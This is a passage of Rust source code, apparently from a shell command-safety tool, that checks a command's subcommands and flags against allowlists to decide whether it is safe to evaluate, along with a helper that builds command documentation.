723 eval_safe_flag_values: &std::collections::HashMap<String, Vec<String>>,
724 eval_safe_required_flags: &[String],
725) -> bool {
726 let subs_opt = match kind {
727 DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => Some(subs),
728 _ => None,
729 };
730 if let Some(subs) = subs_opt
731 && let Some(arg) = remaining.first()
732 && let Some(sub) = subs.iter().find(|s| s.name == arg.as_str())
733 {
734 return walk_to_eval_safe_leaf(
735 &remaining[1..],
736 &sub.kind,
737 sub.eval_safe,
738 &sub.eval_safe_flags,
739 &sub.eval_safe_flag_values,
740 &sub.eval_safe_required_flags,
741 );
742 }
743 if !eval_safe {
744 return false;
745 }
746 let mut i = 0;
747 let mut seen_required = false;
748 while i < remaining.len() {
749 let s = remaining[i].as_str();
750 if !s.starts_with('-') {
751 i += 1;
752 continue;
753 }
754 let (bare, eq_value) = match s.split_once('=') {
755 Some((k, v)) => (k, Some(v)),
756 None => (s, None),
757 };
758 if !eval_safe_flags.iter().any(|f| f == bare) {
759 return false;
760 }
761 if eval_safe_required_flags.iter().any(|f| f == bare) {
762 seen_required = true;
763 }
764 if let Some(allowed) = eval_safe_flag_values.get(bare) {
765 // Valued flag declared in eval_safe_flag_values. The value
766 // arrives either as `--flag=VALUE` (eq_value is Some) or as
767 // the next token (`--flag VALUE`); either way the walker
768 // consumes it because a flag in eval_safe_flag_values is
769 // structurally valued.
770 //
771 // `allowed` empty = explicit-unrestricted: contributor
772 // vetted that any bare-literal value preserves shell-init
773 // output. Non-empty = value must appear in the allowlist.
774 let value: &str = if let Some(v) = eq_value {
775 v
776 } else if let Some(next) = remaining.get(i + 1) {
777 let v = next.as_str();
778 i += 1;
779 v
780 } else {
781 return false;
782 };
783 // Empty value is denied even under the explicit-
784 // unrestricted (`= []`) posture: `--flag=` and an empty
785 // following token never represent a meaningful tool
786 // argument. The bare-literal alphabet check is per-char
787 // and vacuously passes empty strings, so the walker
788 // has to reject explicitly.
789 if value.is_empty() {
790 return false;
791 }
792 if !allowed.is_empty() && !allowed.iter().any(|av| av == value) {
793 return false;
794 }
795 }
796 i += 1;
797 }
798 if !eval_safe_required_flags.is_empty() && !seen_required {
799 return false;
800 }
801 true
802}
803
804pub fn toml_command_docs() -> Vec<crate::docs::CommandDoc> {
805 TOML_REGISTRY
806 .iter()
807 .filter(|(key, spec)| *key == &spec.name)
808 .map(|(_, spec)| spec.to_command_doc())
809 .collect()
810}
811
812#[cfg(test)]
813mod tests;